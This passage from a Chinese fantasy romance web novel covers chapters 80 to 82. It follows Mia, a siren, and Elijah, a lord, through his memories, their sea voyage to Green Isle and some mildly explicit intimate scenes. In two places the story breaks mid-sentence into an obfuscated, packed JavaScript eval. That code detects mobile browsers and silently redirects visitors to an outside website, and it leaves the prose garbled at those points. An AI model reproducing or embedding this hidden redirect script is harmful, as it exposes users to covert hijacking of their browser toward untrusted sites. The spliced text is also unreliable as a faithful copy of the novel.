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“的确,后来我又让他回来了,至少在我还能掌控局面的时刻,我希望他能成长起来。” 这种成长注定缓慢,却能经历少些痛苦。 惨痛的经历固然磨砺人,也容易让人一蹶不振。 米娅心想,他一定是个溺爱孩子的父亲。 “在想什么?”以利亚问她。 米娅摇了摇头,“没什么。” 接下来是米娅熟知的故事了。 他的名头在奥维伊群岛越来越响,谁都想见识一下最强大的渡水者,又纷纷被他的不可接近吓跑。 他的冰冷,一半源于习惯于拒人于千里之外的态度,一半源于神力的折磨。 以凡人之躯承载神力,充满了不确定性。 小时候的不会笑只是最微不足道的影响,他逐渐感觉不到心跳,身体也变得冰冷,呼吸也没有必要,但为了不让旁人发觉,还是会制造出呼吸和心跳的错觉。 过量神力时刻折磨着他,他的身上也出现了罗尔曾经出现过的伤口。 后来随着他逐渐将神力收为己用,伤口愈合,在他手掌上留下难看的瘢痕。 “这就是你一直带着手套的原因?”米娅恍然大悟。 现在他已经不需要戴手套了,他的手掌光洁如新,看不出曾遭受过什么。 他已经完全将神力吸收,控制它们也轻而易举。 然后,他说到了她。 “我知道海妖会来复仇,没想到来的是你,更没想到用的这种方式。” 米娅笑了笑,“很有效,不是吗?” 80. 相守(三) 风灵节之前,以利亚就猜到米娅是海妖了。 他没有拆穿她。 一直以为,他生活的重点都放在寻找那颗心脏上,突然冒出来个海妖,蓄意接近他,拨动了他的心弦,新奇又有趣。 他多次想拒绝她,又多次放弃,最后允许她闯进了自己的生活。 他们在马车里对峙,在露台上接吻。 他始终保持着一份理智。 只是那份理智随着阁楼上米娅那句“喜欢”而消失。 在那之前,他从没想过要真正拥有她。 答应她搬进赫特高塔,与其说是补偿她故作的委屈,不如说是想看看她还有多少虚情假意的招数。 可是那句“喜欢”,即使后来米娅断然否认了,他依然能够分辨出,那是她的真心。 他第一次舍弃了理智,夜色惑人,她更惑人。 海妖血十一年前还对他有些作用,到了十一年后,随着他吸收的神力越来越多,作用也就微乎其微了。 他感到指尖些许的麻痹,仅此而已。 胸膛被撕开的痛苦其实还比不上神力带来痛苦,更比不上心底无来由的悲凉。 然后他感觉到滚烫的泪水滴落在他身上,她竟然哭了。 米娅跌跌撞撞地离开阁楼后,他起身按在胸口,血肉一点一点复原,重塑了一个跳得微弱的心脏,伤口合拢,看不出一点儿痕迹。 疗愈需要花费力气,他短暂地虚弱了一阵。 他不怪她。 在海妖看来,他就是十恶不赦的敌人,她会做出这样的选择情有可原。 但他忍不住去想,如果现在的赫尔西岛领主是别人,她是否会做出同样的牺牲,会在另一个人身下绽放吗? 直到这时,他发现她已经影响了他太深。 他有点儿不想放她离开了。 米娅去到四楼时,他的心中天人交战,他当然可以强行将她留下,他们的力量差距比米娅想象得要大得多得多。 他可以压制住她的力量,让她真正变成一个普通人类。 他也可以抹去她的记忆,忘记仇恨,她会心甘情愿留在他身边。 他有很多办法,每一个都可以将她永远囚禁在自己身边,直到他的死亡降临,或者世界毁灭。 “啊?”米娅惊奇不已,原来在自己不知道的时候,自己和这么多阴暗的想法错身而过。 她实在想象不到,如果以利亚真的这么做了,他们会走到哪一步。 “为什么放弃了?”米娅好奇。 “谁说我放弃了。”以利亚瞥她一眼,神情莫测,似笑非笑地说道,“只是现在不需要用这些手段罢了。” 米娅愣了片刻,佯装害怕裹紧了被子,“没想到你是这种人,我好伤心。”其实语气中一点儿也没有伤心的情绪。 她才不信。 他要真是这么打算的,何必在回忆里拒她于千里之外。 以利亚没有说谎,至少在那个夜晚,他还没来得及放弃,米娅就惹出事了。 她想带走羽毛笔,却被羽毛笔咬了一口,拉进了回忆里。 正如他说过的那样,他是被牵连的。 羽毛笔说,他可以选择进回忆里救她,也可以选择袖手旁观,看她被回忆吞噬。 他选择了进入回忆里,没想到竟然是这样的一段回忆。 是嫉妒,或是愤怒,让他否认了对她的情意。 他们的关系降至冰点。 相对无言的那段时间,他看到了米娅少女时的纯真笑颜,冷漠如他,也不愿打破,就是那个时候,他做出了决定。 放她离开。 何必拖着她在既定的死局里沉浮? 他看着她为别人哭泣,想到出去之后就再无瓜葛,有意无意地放纵了自己,他们的纠缠越来越多,他的决心却越来越坚定。 他是在那个清晨发现不对的。 他在回忆中待得太久,竟然影响到了回忆。 羽毛笔出现说,回忆正在与真实的过去融合,他抓不住它,因为这已经不仅是回忆了,而是真实的过去。 身为伊瑟尔的转世,他最清楚改变过去的后果。 更重要的是,这是从未发生过的现象,他可以控制当下的时间,让时间停滞,或是让时间变得缓慢,都不成问题。 但回到过去,还从未实现过。 他离开了一阵,回到了现实的时间,试图找出原因。 没想到刚一离开,被封印的记忆一股脑地涌现,几乎将他淹没。 他就是那个自称约翰的男人。 他嫉妒的对象竟是自己。 他忘记了和米娅的约定,他不仅失约了,而且深深地伤害了她。 除此之外,幸运也是不幸,他终于找到了那颗心脏。 他带走了心脏,即使心脏没有重归正确的位置,依然加速了神力的回流,他可以凭借自己的意志在时间的洪流里自由穿梭。 他回到了那个将米娅困住的过去,展现出前所未有的冷漠绝情,与她作最后的告别。 米娅抓住他的胳膊,急急地问:“所以,我们离开回忆的那天,不是我的错觉,你一直在看着我?” 以利亚颔首,他已经拥有无限接近于神的力量,不需要用肉眼就能看到她。 米娅扑过去,用力揉他的脸,“你就是铁了心要跟我划清界限。” “我不否认。”以利亚拿开她的手,眼神缱绻,“不会有下一次了。” “嗯。”米娅靠在他的怀里,闷闷地应了一声。 他们剩的时间不多了。 *** 剩下的时间要做些什么,米娅其实没有计划。 要不是莫名其妙被薅去了冥界,莫名其妙进了试炼,现在的她应该和试炼中虚假的未来一样,也许在奥修斯岛,也许在别处。 但不会和他在一起,因为他会躲着她。 现在的情况已经很好了,他还活着,他们时时刻刻都在一起,他们还有无数的回忆可以创造。 不过米娅一直没放弃寻找破局之法,只是还没有头绪。 她有点儿头疼,她又不想离开以利亚,该怎么去寻找破局之法呢。 奥洛的残影说,她要记住她是谁。 以利亚如今拥有伊瑟尔的力量和记忆,他一定知道她是谁,但他从没有提到过,米娅太了解他了,他不会说的。 她也不打算问他。 有些事情,需要她自己去挖掘。 塞奇,她得找到他才行。 可是该去哪里找他? 米娅偷偷去问白马,白马说奥洛离开前一段时间,塞奇就从冥界消失了,它听说他曾出现在过慕斐岛,后来又不见了。 “果然和试炼中一样。”米娅失望地低喃。 白马好奇地望着她,“您在试炼中发生了什么?” 米娅便把试炼中的情况简要地说了一番。 白马听得一愣一愣的,听到最后,突然兴奋地说:“您弄错了,您在试炼中找不到以利亚大人和塞奇,不是因为他们躲着您。” 米娅精神一振,这可是意外收获,“那是为什么?” 白马说:“试炼是吾主留下的,以利亚大人和塞奇和吾主一样诞生于混沌中,如果在试炼中捏造了虚假的他们,会被他们察觉到的。” 米娅若有所思,“也就是说,我还有机会找到他?” 白马尴尬一笑,“这我可不敢保证。” 好像有了点儿希望,但她还是不知道该去哪儿找塞奇。 乌斯? 风灵节后第五天他就带着莱森回绿恩岛去了。 听说他走之前试图来赫特高塔见她,但是以利亚没有同意。 为此,他们还有些冲突。 乌斯似乎是觉得她被以利亚囚禁了。 真是奇怪的误会,米娅听说这件事时,险些喝水呛到。 连乌斯都跟她扯上了关系,也难怪外面的流言蜚语越传越离奇。 好在,米娅发现了现实和试炼不一样的地方。 试炼中,莱森没有去绿恩岛,他一直待在赫尔西岛,直到以利亚从所有人的记忆里消失,他成了赫尔西岛这么多年来的领主大人。 现实里,莱森跟乌斯回了绿恩岛。 雅克亲王快死了,莱森要回去见他最后一面。 正好以利亚不顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263450|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与皇室的约定提前清除了岛上的海妖猎人,乌斯以此为交换,换得以利亚同意莱森离开。 听说这个消息的时候,已经是米娅从冥界出来半个月后了,这也是她半个月来第一次走出赫特高塔。 半个月里,外界一片风平浪静。 没有人来打扰他们。 一开始米娅还以为是以利亚吩咐过,后来才知道,他时常将自己关在高塔中十天半个月不出来,卡伦他们都习惯了。 他们一般不靠近高塔,有什么重要的事,卡伦和休伊会合计一番谁来找他。 “我也不是时刻都在。”以利亚看见米娅诧异的神情,嘴角露出一抹笑容,“以前需要寻找心脏的下落,有些人类到达不了的地方,只能我自己去。” 米娅点点头,原来如此,高塔就是个幌子。 “他们进来发现你不在怎么办?”她好奇地问。 “高塔有我设下的禁制,不管身处何地,我都能感应到。”以利亚耐心地解释,瞥见窗外有个熟悉的身影靠近,向她伸出手,“想出去走走吗?” 掌心相触,米娅微笑垂眸。 高塔不是他们的世外桃源。 到了该出去的时候了。 高塔外的小径上,卡伦心情沉重地前行,一道同样沉重的脚步声不紧不慢地跟着他,令他心情更糟糕。 在塔门前,他停下来,转头问:“你真的决定好了?” 身后那人沉默以对,他却仿佛能看见头盔下的坚毅眼神,叹了口气,举起手臂正要敲门,大门自动开了。 尊贵的领主自阴影中走出来,鲜红的眼眸仿若泣血。 妖异美丽,看上去更不像人类了。 不过卡伦敏锐地感觉到他似乎心情不错。 “何事?”语气还是冷冷的。 卡伦说:“雅克亲王来信说,他想见您。” 说到这个人,以利亚的眉眼更冷了一份,“他那副身体,还经得起坐船的折腾吗?” 卡伦尴尬地笑了笑,实在觉得接下来的话难以启齿。 他身后的人走上前来,“他希望您去绿恩岛。” 纵使卡伦见多识广,也觉得雅克亲王太不要脸了些,领主大人当年没有直接取他性命,已经是看在莱森和罗尔的面子上放他一马了,他竟还敢提出如此无礼的要求。 以利亚不打算理会,“你们回绝了就行。” 卡伦张了张口,半晌没说出话来,他看向身后那人,“算了,还是你自己说吧。” 黑骑士休伊穿着标志性的铠甲走上前,“我想替您去。” 以利亚有些意外,“为什么?” 黑骑士语气坚决,“不能任由他颠倒黑白,您可以不在意,我却不愿再容忍下去。” 以利亚看着他,“你也想做个了断吗?” 黑骑士重重地点头,金属碰撞声在这个宁静的清晨格外响亮。 过了很久,以利亚轻轻地笑了,他一笑,便如冰雪消融,春回大地,不禁让人觉得温暖,“去吧。” 趁他还在,还能为他们兜底。 卡伦松了一口气,心道,不是他的错觉,领主大人真的温和了很多,这么好说话,都不像他了。 正想着,另一道声音从以利亚的身后,妩媚动听,似天籁之声。 “我也想去。” 随着那道声音响起,美艳动人的海妖从以利亚身后走出来,她的眼眸蔚蓝如碧空,她的长发秀丽迷人,她的歌声动人心弦。 歌声—— 她在唱歌! 卡伦被黑骑士扯到一边,从幻境中清醒。 黑骑士举起重剑,向敬爱的领主大人喊道:“小心,她是海妖!” 以利亚一动不动。 黑骑士关心则乱,还以为他被海妖的歌声控制了,举着剑便冲了上去。 以利亚终于动了,身形一闪,他出现在黑骑士身前,重剑高高举起,带着雷霆万钧之势劈砍而下,被他一指挡下。 以利亚无奈地笑:“米娅,别吓唬他们了。” 米娅在他身后伸出个脑袋,笑得肆意,“我哪知道他们这么不经吓,不过,我说的是真心话哦,我也要去绿恩岛。” 81. 相守(四) 休伊非常不理解,那个女人自己要去绿恩岛也就算了,还非要拉着领主大人一起。 而领主大人也不顾他们的异议,那个女人说什么就是什么。 “我看她就是心怀不轨。”休伊愤恨地说。 卡伦隐隐察觉到了些端倪,笑着问他,“因为她是海妖吗?你也知道,我们与海妖之间没有那么大的仇恨。” “不是。”休伊这时候冷静下来了,仔细回想一会儿,摇了摇头,“我总感觉她在隐瞒什么。” 卡伦倒是没发现,他只是觉得这个女人太有些危险,但是再危险,面对的也是以利亚,他实在是担心不起来。 他安慰休伊,“你也看到领主大人对她的态度了,就算她真的有所图谋,只要最后这段时间她能陪在领主大人身边,不也是件好事吗?” 休伊有所触动。 回想起塔门外的场景,他都想不起来领主大人的脸上有多久没有露出这样的笑容了,郁闷的情绪稍稍平复。 不过,他还是觉得自己有必要提醒一下领主大人。 此后几天,休伊也没想到,他计划好的提醒一直没能实现,无论何时他见到以利亚,米娅都在他身边。 他们举止亲密,不加掩饰。 休伊有时甚至觉得,他只是靠近他们,都是在破坏这难得的温情时刻。 再等一等,会有机会的。 拖着拖着,出发的时刻到了。 一艘主舰,一艘护卫舰,驶离西摩港时收到了无数好奇的视线。 这般盛大场面,已经许多年不曾出现。 年轻小的人在惊叹,年纪大的人在追忆往昔,直到银色的舰船在阳光下渐行渐远,耀目的衔尾蛇图案缩小成黑色的小点,人群才渐渐散去。 海面上,舰船乘风破浪,不多时便开出很远去,似一柄利剑划破蓝色的海水,掀起白色的浪花,拖出两条长长的尾巴。 休伊一动不动地站在甲板上,望着西摩港的方向。 忙碌的港口在他眼中逐渐缩小成一团模糊的黑影,最后变成米粒大小的黑点。 港口看不见了,就连赫尔西岛也越来越小,一只手掌就能握住。 “休伊。”卡伦从船舱中走出来,“在看什么?” 休伊双手握住了栏杆,甲板上风大,他那身盔甲就像定风柱,只是看着,都让人感到满满的安心。 海上危险丛生,舰船上的氛围却很轻松,有以利亚和休伊在,仿佛就连风雨也会绕道走。 “我在看赫尔西岛。”休伊的声音有些闷,“你说,我们还会回来吗?” “以后的事,谁说得清呢?” 沉郁的声音在海风中飘散,休伊望过去,看见卡伦脸上从未有过的严肃神色,不禁在心底叹息。 他本该留在赫尔西岛,却在他们出发前得知雅克亲王的邀约背后还有他的家族的影子,毅然踏上了这艘回绿恩岛的船。 每个人都有不愿宣之于口的隐秘过往。 他似乎窥见了一线卡伦玩世不恭的外在下潜藏的风暴。 严肃只有片刻,卡伦扬起笑容,手臂随意地放在栏杆上,上身微微前倾,做出一副边看风景看聊天的闲适姿态。 “说起来,领主大人还真是放心,竟然将赛欧庄园交给一匹马来看管。” 休伊沉声道:“好像是那个女人的主意。” 他的不满显而易见。 卡伦笑了笑没接话,随意看向海面。 蔚蓝海水下,一条大鱼紧随船身,它畅快地摆动着尾鳍,将浪花拍起,溅到银色的船身上,沾湿了那条诡异的衔尾蛇。 阳光透过海水照到了那条大鱼,他看清了大鱼流畅的线条和锯齿一样的牙,那是一条鲨鱼。 突然,那条鲨鱼从水下一跃而起,光滑的背部连接着尾巴,在水面之上划出一个优美的弧线。 它拍起高高的浪花,一道彩虹出现在浪花边缘。 没人注意到异样,都以为这只是一个普通的动作,只有甲板上的两人可以看见,在鲨鱼白色的肚子下方,藏着一个人影。 卡伦呼吸一滞,休伊拉着他退开,隐藏在暗处的护卫们看到了他们的动作,纷纷走上前来,却只看到了一头游动的鲨鱼。 他们投下长枪,鲨鱼尾巴一扫,借着水的浮力,轻松将长枪格挡,然后在众目睽睽之下一溜烟跑没影了。 最后消失之前,它将尾鳍高高举出水面,仿佛是在表示轻蔑。 船上的士兵被这一幕搞得火冒三丈,甚至想通过火炮解决掉这条嚣张的鲨鱼,被卡伦制止,“算了,赶路要紧。” 只是这么一打断,两人的对话是彻底进行不下去了。 两人各自回到了船舱,舰船在一望无际的大海中航行,离赫尔西岛越来越远。 当天夜里,卡伦再次来到甲板上同样的位置,夜晚的海风冰凉,吹得衣袍猎猎作响,他目光深邃,遥望着几乎与天穹融为一体的海面。 片刻之后,他的身后传来脚步声。 “您终于来了。”他悠悠说道。 没有回应。 卡伦回头一看,来人却不是他等待的人,而是休伊。 夜已经深了,船上的灯火灭了大半,只有几盏昏暗的吊灯,在船舱边的走廊上摇晃。 休伊没有戴头盔,他面无表情,灯光的阴影在他脸上时隐时现。 卡伦很久没见他的真容,乍见还有些恍惚。 休伊不自在地解释说:“领主大人说在船上我不需要时刻隐藏。” 卡伦若有所思,的确,船上都是他们信得过的人,唯一的例外只有米娅,但看她和以利亚的亲密程度,他毫不怀疑米娅已经知道了所有真相。 “我看到了,白天那个,是袭击莱森的那只海妖。” 白天他差点儿出手,是卡伦拦下了他。 后来卡伦去找了那个女人,那个女人说晚上海妖会再出现,不管那只海妖有什么目的,都由她来处理。 卡伦点了点头,“没错,是她。” “你在等那个女人?”休伊的脸上浮现一抹可疑的红,眼神尴尬地往旁边瞟,“我刚从那边过来,她可能暂时来不了。” “什么意思,米娅有危险吗?” 少女娇俏的声音从休伊身后的阴影中传来。 两人齐齐看过去,阴影中的脸模糊不清,半露出来的纤细小腿纤细笔直,海水顺着光滑的腿肚滑到脚踝,又滑到白玉一样的脚下,最后在甲板上留下小小的水凼。 暗夜之中,察觉到他们的视线,海妖少女歪了歪头,一双蔚蓝色的眼睛仿佛发着光。 恍惚间,巨大的黑影将他们笼罩,似乎有一把冰冷的利刃已经触及了两人的背部。 那是来自海妖少女的警告,卡伦对此泰然自若,休伊却皱起了眉,如果没有卡伦拉着他,他会立刻冲上去与海妖少女展开战斗。 “嘁,手下败将嚣张什么。”海妖少女红唇轻吐嘲讽之语,说到一半,感觉到休伊身上的气息,顿了一下,“不对,你不是他,你是那个……那个……” 卡伦走上前,挡在海妖少女与休伊中间,接上她的话,“那个穿着一身盔甲的黑骑士休伊,尤妮,好久不见。” “哼,少套近乎。”尤妮视线不住地往后瞥,很疑惑地看了休伊好几眼,“快说,米娅到底怎么了?” “这怎么说。”休伊小声嘟囔了一句。 他忘了海妖听力超群。 尤妮柳眉一竖,着急道:“有什么不好说的,我知道了,是不是她出事了——我就不该信人类!” 她转身就要往船舱上层去,卡伦吓了一跳,赶紧拦住她,“小姑娘,你可不能这时候去。” 尤妮上下打量了他一眼,他看着也不老,怎么一副老气横秋的过来人模样,“我偏要去。” “咳咳……尤妮,别闹。” 卡伦正犹豫着要不要直说,米娅终于过来了。 她脚步凌乱,胸口起伏得很快,看起来很匆忙,身着一件质地光滑的丝绸长裙,暗红色的长裙映照出比玫瑰还娇艳的一张脸。 灯光一晃,照出她脖子和锁骨上红色的痕迹。 卡伦和休伊赶紧别开眼。 只有尤妮傻呼呼地问:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273350|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子怎么了,他对你做了什么?” 卡伦忍不住偷笑,单纯的海妖少女是一点儿也没明白现在的状况啊。 米娅脸一红,“蚊子咬的。” “有蚊子吗?”海妖少女睁大了眼睛,不可置信地往四周瞧了瞧,静谧的夜里,皓月当空,她左看右看也没瞧见蚊子的影子。 米娅脸更红了,狠狠地瞪了一眼笑个不停的卡伦,拽着尤妮走到了甲板的另一头。 “你怎么来了?” “我不放心你。”尤妮委屈地瘪了瘪嘴。 “有什么好不放心的?”米娅想笑,看到尤妮的表情,忍住了没笑出来,轻轻揉了揉她的头发,“我这不是好好的吗?” “反正我就是不放心。”尤妮固执地说。 她亦步亦趋地跟着米娅回了船舱,米娅的房间很大,冷冷清清的没其他人,她坐下了就赖着不走。 米娅头疼起来,这里可不止是她一个人的房间。 也不知道以利亚去了哪儿,刚才她匆匆忙忙和他分开时他的眼神她现在都记得。 正想着,门把手被人从外面按下,门打开了一条缝。 米娅瞬间坐直。 尤妮还没明白过来,呆呆地看过去。 很快,门完全打开了,男人优雅贵气的身影出现在门口,他的神色很淡,只在看向米娅时柔和些许。 他握着门把手平静地问:“我走错地方了么?” “没有!”米娅心底警铃大作,嚯的一声站起来,果断拖着尤妮走到门口,向外一推,再将男人拽进来,砰的一声关上门。 整个过程迅速干净,行云流水。 尤妮根本来不及反应,眼前就变成了厚重的舱门。 她不甘地来回踱步,瞥见漆黑的海水,突然有了主意。 她跳进海里,游到船舱的另一侧,然后跃出水面,趴在船身上,手脚并用爬到了船舱第三层。 透过染着雾气的舷窗,她看到了那两个模糊的人影。 他们站在一起,身影交叠。 男人低头亲吻着米娅裸露在外的肌肤,留下暧昧的红痕。 尤妮眼睛都看直了,原来“蚊子”在这。 她一时不知道自己该不该阻止,只能眼睁睁看着米娅背对着自己,与那人相拥,长裙被揉皱,肩带直往下滑,大片雪白的皮肤呼之欲出。 突然,男人的视线落到了舷窗上。 尤妮吓得险些摔下去。 这还是她第一次对上男人的视线,红色的眼眸诡异迷人,却让她感到了一种熟悉的感觉。 按照米娅的说法,她小时候是认识他的,只是现在忘了,感到熟悉也很正常。 她看到男人在米娅耳边说了什么,米娅转身看向她,神色无奈。 与此同时,一股完全无法违抗的力量将她从船身剥离,她坠入大海,一直一直往下坠,半点儿挣扎也做不到,直到后背触碰到海底的珊瑚才停止下坠。 又过了很久,控制的力量越来越弱,她才深深地吐出一口气,恢复了对身体的控制。 她赶紧浮上海面,舰船开出去了一些距离,但不难追上,她重新回到甲板,湿漉漉地冲到卡伦面前。 “给我安排一间房间。” 米娅确认尤妮没事,松了一口气,她轻轻地推了下以利亚,“她只是担心我而已。” 以利亚慢条斯理地褪去她的长裙,“我也只是让她冷静一下而已。” 连着被打扰两次,也难道他会生气,米娅撒娇道:“我替她道歉,别生气了好不好。” 以利亚含笑看着她,轻捏她的柔软,“道歉也得拿出些诚意来。” 唇齿间溢出轻吟,米娅斜睨着他,媚眼如丝,“哼,得寸进尺,你想怎样?” 以利亚轻咬她的耳垂,“我们去冥界。” 米娅立刻睁大了蔚蓝的双眼,连他肆意妄为的手指都忘了阻止,脑海中只剩下了一个地名——冥界。 这时候提冥界,肯定不是为了谈正事。 他难道是想继续上次…… 一想到上次,她腿就开始发软。 82. 暗涌(一) 尤妮留在了船上。 以利亚没发话,卡伦也不好赶她走,在船舱二层安排了间空房间给她。 她一点儿也不客气地住下了,但是大多数时候都守在三层的楼梯口,盯着以利亚和米娅的房间,恨不得将舱门盯出个洞来。 休伊在甲板上瞧见了,非常不解,对卡伦说:“她不放心领主大人?我还不放心那个女人呢。” 卡伦笑呵呵地看了眼尤妮。 海妖少女站得累了,在楼梯上坐了下来。 “你俩还真挺像的。” ——像龇牙的小狗。 休伊不屑于将自己与海妖相提并论,没搭话,卡伦也没敢说出后半句,他们耳朵一个赛一个得好,他要是说出来,可没好日子过了。 尤妮听到了他们的对话,不过她才懒得理他们,一心一意地等着米娅。 她这次来找她,不是突发奇想,而是深思熟虑。 米娅告诉她的真相太过沉重,她虽然知道告诉别人不好,但还是忍不住去寻求迪伦的帮助。 迪伦听了前因后果,脸色严肃得可怕。 迪伦说:“米娅在试炼里能为了想起他而冒着生命危险舍弃权杖,你觉得在那个人类死后,她会怎么做?” 尤妮从没想到过这一点,呆呆地望了他半天才明白过来。 “你是说她会……” 她实在不愿说出那个词语,好像说出来了就会应验一般。 “希望是我想多了。” 迪伦最后给了她个任务,回米娅身边盯着她,必要时刻阻止她。 尤妮火急火燎地又赶回了赫尔西岛,见到了曾经出现在米娅的回忆里的那匹白马,从它口中得知米娅正在去绿恩岛的船上,又火急火燎地在大海中寻找,总算找到了他们。 她现在很纠结。 认真地想了一晚上,她觉得自己好像不该打扰他们。 但不看着米娅好好的,她又不能安心。 从晨光熹微等到日头正盛,尤妮终于等到那扇门打开,米娅打着哈欠走出来,整个人呈现出一种很矛盾的状态。 又疲惫又容光焕发。 眼皮沉重得像睁不开,美艳的脸却光彩照人。 “怎么坐这儿来了?”米娅走过来问她。 尤妮犹豫了一下,“我在等你。” 米娅似乎明白她的心思,“想跟着就跟吧,不过别再去惹他了,你惹他生气了,倒霉的可是我。” “他欺负你了吗?”尤妮一下子站了起来,急道。 米娅露出个一言难尽的表情,按住她的肩膀,“那倒不是,你可以放心,他不会对我不利,最多就是——咳咳,没什么。” 最多就是折腾了点儿。 尤妮一步一回头地走了,米娅看着她的背影消失在转角,感觉到身边另一道身影走近,顺势闭着眼睛靠了过去。 以利亚揽着她,“你知道她为什么出现吗?” 怎么会猜不到呢,米娅无奈地笑了,“知道,她怕我在你死后跟着殉情。” “你会这么做吗?”他的声音很轻,仿佛是漫不经心的一问。 米娅睁开双眸,微微抬起头,看着他的侧脸。 “你希望我这么做吗?” 以利亚直视着前方,目光幽远,“如果希望的话,我又何必费尽心思让你远离我,忘了我?” 他说的是试炼中的情形,差一点儿就成为了现实。 米娅盯着他,眼睛都不眨一下,“即使我忘了你之后,会和别人在一起,你也不在意吗?” 他的下颌明显紧绷起来,他并非不为所动。 米娅想想也是,如果让自己想象他和别的女人在一块儿,大概也会发狂。 等了一会儿,她转身搂住他的脖子说:“我不会……” 以利亚却突然蒙住了她的眼睛,一字一顿地对她说:“只要你是真心想和另一个人在一起,我、我会祝福你们。” 米娅怔住。 他说得很慢,慢到似乎不想说出这句话。 可他还是说出来了。 米娅听出其中的艰难与真心,没有觉得感动,心中只有酸涩。 如果不是确定没有转圜的余地,他不会这么说。 *** 七月初,舰船驶入了布里斯帝国首都绿恩岛的维克托港。 舰船在码头停泊的时候,已经是傍晚时分,夕阳余晖落在海面上,给所有的船只和行人都披上了一层金色的轻纱。 米娅从船舱中走出来,看着忙碌的港口,维克托港比西摩港还要大上一倍,尖顶的教堂伫立在港口左侧,巨大的时钟一下一下永无止境地走着。 刚好到了整点,时钟发出一声闷响,传到港口处,清晰可闻。 赫尔西家族在绿恩岛中也有一处住处,建于几百年前,于两百年前在天空之劫中摧毁,后来又经过重建。 在以利亚之前,历任赫尔西家族族长与皇室交往甚密,这处住处也常有人来往,只是近些年,以利亚几乎很少踏足绿恩岛,于是建筑便荒废下来,只有少数几个仆人。 如今,时隔多年,以利亚再次来到绿恩岛,管家特意多增了许多人手,率着众人来到港口迎接。 和他一同前来的,还有皇室和教会的代表乌斯。 熟悉又陌生的场景,一切就像回到了赫尔西岛上。 乌斯看到她很惊讶,也难怪,听说乌斯离开赫尔西岛之前差点儿为了她闯入赫特高塔,如今却见她与以利亚亲密的举动,很难不觉得疑惑。 惊讶只有一瞬,他们很快恢复了庄重的微笑,仿佛没见到她似的,与另外三人寒暄起来。 一番你来我往后,以利亚谢绝了女皇的宴会,登上马车,在不知道是监视还是护卫的皇家卫队的包围下,前往赫尔西家族在绿恩岛的府邸。 安顿下来后,米娅将尤妮放了出来。 她把她藏到了冥界。 尤妮的样子太显眼,一上岛必定引起骚动,米娅便想了个办法,在舰船靠岸前让尤妮进入冥界,有权杖的保护,尤妮在冥界不会有任何危险。 又在没有外人时放她出来。 “好神奇。”尤妮睁着明亮的眼睛,不住地赞叹,“我可以经常进去吗?” 米娅摇摇头,“冥界毕竟不是活人待的地方,时间长了对你不好。” “好吧。”尤妮面露可惜。 第二日一早,女皇和雅克亲王的使者几乎同时到来。 他们都是来邀请以利亚的。 自女皇亲政,她与雅克亲王的矛盾与日俱增。 此次以利亚虽是为雅克亲王而来,但既然到了绿恩岛,哪有先不觐见女皇的道理,雅克亲王此举实在逾矩,也难怪两边使者一见面就剑拔弩张。 米娅隐藏在暗处,看着两边使者涨得通红的脸,心想要不是还顾及皇室的颜面,他们恐怕要当场打起来。 管家赔着笑将两位使者引到会客厅。 “领主大人一早就出去了,劳烦二位在此等候。” “领主大人去了何处?两位大人说笑了,领主大人怎会事事都对老仆说呢。” “米娅夫人……这,夫人和领主大人一同外出了。” 两位使者久等不到以利亚,竟不约而同问起了米娅,管家不明就里,也只随口找了个理由推脱。 这下可真惹恼了两人。 能作为皇家使者的,出身自也不凡,被人如此怠慢,脾气再好也有了几分血气。 “以利亚大人究竟是什么意思?去或不去,好歹给个准话,在下也好回去向亲王殿下覆命。”先发火的却是雅克亲王的使者。 或许是因为他更年轻气盛一些。 此人约摸三十左右,举止骄矜,总拿鼻孔看人,不像是来请人的,倒像是来抓人的。 米娅总觉得他看着有些眼熟,但翻遍记忆,即使是在试炼中,似乎也没瞧见过他。 正想着,一个略带笑意的声音从外头传了进来,跟着是两个人的脚步声,一个轻,一个重。 “道恩子爵若不嫌弃,就由我二人随你面见亲王殿下吧。” “我请的是以利亚大人,你们算什么……” 来的正是卡伦和休伊。 一上岛,休伊又带上了他的头盔,一身漆黑的铠甲仿佛连阳光也吞噬掉,叫人看了胆寒,那使者嘲讽的话说到一半,被他黑洞洞的“眼睛”盯着,咽了口口水,实在说不下去了。 道恩子爵? 那不就是卡伦所属的那个家族,也不知他们俩人是什么关系,米娅好奇地望过去,没有错过使者脸上尴尬又愤怒的表情。 其实管家说的大都是真的。 以利亚的确一大早就不见了,也不知去了哪儿,连米娅也没告诉。 这也是他们上岛前说好的。 本来这次以利亚不打算来绿恩岛,是米娅想来,他才陪她过来,米娅又说自己想来是有些私事,不方便跟他说。 她不愿说,以利亚便不问。 这下倒好,以利亚也不说自己去了哪儿,米娅也不好问。 至于管家为什么撒谎说她和以利亚一起出去了,估计是觉得她的身份不方便单独出来。 毕竟她是海妖。 不过,米娅觉得,是到了自己出场的时候了。 她向尤妮使了个眼色,绕到另一侧走廊,佯装刚刚走过来,尤妮牢牢跟在她身后,“如果再加上我们呢?” 阳光正好,使者闻声看来,只见一前一后两个身影,皆是长发如瀑,衣裙翩跹,娇艳动人,尤其是前面那个,一颦一笑风情万种,眼波觑向这边,骨头都酥麻了。 使者看得呆了,好美的女人。 而且那女人还在对他笑,“我与你们一同去见见雅克亲王。” 晃了晃神,使者声音不禁放柔,“你们是?” 在这样一位美人面前,正常声音说话都怕惊扰了她。 